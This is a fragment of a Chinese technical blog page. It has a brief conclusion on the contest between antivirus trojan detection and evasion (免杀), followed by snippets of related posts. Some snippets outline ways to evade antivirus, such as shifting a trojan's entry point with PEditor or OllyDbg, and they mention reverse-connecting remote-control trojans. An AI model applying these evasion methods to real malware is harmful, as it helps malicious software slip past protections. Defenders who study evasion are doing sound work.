木马查杀和免杀技术是网络安全领域中一场持续的斗争。杀软不断更新自己的检测技术，而恶意软件开发者也在不断创新免杀技术，双方相互较劲。有效的木马查杀技术可以帮助保护系统免受威胁，而了解免杀技术也能帮助安全专家。同时技术不仅限于前面说到的几种，比如现在还会有人工智能与机器学习等更高级的技术去检测威胁。这里只是通过这几种典型的技术例子更好得理解木马的查杀与免杀。
木马免杀处理
weixin_58666006的博客
09-02 1253
木马免杀，脚本型木马和二进制型木马
木马免杀方式
Shinyhuang_的博客
01-05 6558
前言 免杀，又叫免杀毒技术，是反病毒，反间谍的对立面，是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外，还可以扩增病毒木马的功能，改变病毒木马的行为。免杀的基本特征是破坏特征，有可能是行为特征，只要破坏了病毒与木马所固有的特征，并保证其原有功能没有改变，一次免杀就能完成了。免杀技术也并不是十恶不赦的，例如，在软件保护所用的加密产品（比如壳）中，有一些会被杀毒软件认为是木马病毒；一些安全领域中的部分安全检测产品，也会被杀毒软件误杀，这时就需要免杀技术来应对这些不稳定因素。 1、裸
木马的免杀技术
晓夜璨丰
06-04 794
木马免杀,在国内应该起源于05年吧.从那时单一特征码到现在复合特征码,杀毒软件从无主动防御到有主动防御.免杀技术越来越难.但是万变不离其宗--改特征码.到现在一些辅助软件的行为查杀. 以下讲解都是以远程控制软件为例(这里补充一个概念,木马的反弹技术,就是服务端主动连接客户端.何谓主动连接呢,你只要把客户端软件在本机上开启后,中马的机子会主动连接上你的那个软件,而不必你去找他的IP,再与他连接
经验总结木马免杀方法总结篇
快乐天使
01-02 1613
一.入口点加1免杀法:1.用到工具PEditor2.特点:非常简单实用,但有时还会被卡巴查杀3.操作要点:用PEditor打开无壳木马程序,把原入口点加1即可 二.变化入口地址免杀法:1.用到工具:OllyDbg,PEditor2.特点:操作也比较容易,而且免杀效果比入口点加1点要佳.3.操作要点:用OD载入无壳的木马程序,把入口点的前二句移到零区域去执行,然后又跳回到入口点的下面第三句继续执行...
052 木马免杀全攻略
hackdoors的博客
10-06 3870
木马免杀全攻略 转载自：a1pass.blog.163.com 2007-12-07 14:02:24| 分类： 思绪燃星火——技 | 标签：黑客 杂志刊物 作者：A1Pass 出处：http://a1pass.blog.163.com/ 本文发表于07年第7期《黑客X档案》，与原文有少许出入。 转载请注明版权：http://a1pass.blog.163.com/ A1Pass的博客 黑...
木马免杀全攻略(转)
weixin_33737134的博客
10-21 716
《黑客X档案》 作者：A1Pass   大家好，很高兴又与大家见面了，不知道大家对上期的文章是否满意，但是木马的免杀很多啊!可是我只介绍了可执行文件木马免杀这一种，而关于脚本木马的免杀只字未提，真是惭愧……     在这篇文章里我会尽量补充上篇文章的不足，系统地介绍一下脚本木马的免杀方法。     关于脚本木马的查杀原理与可执行文件木马大体相同，所以在这里就不再介绍杀毒软件的查杀原理了...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值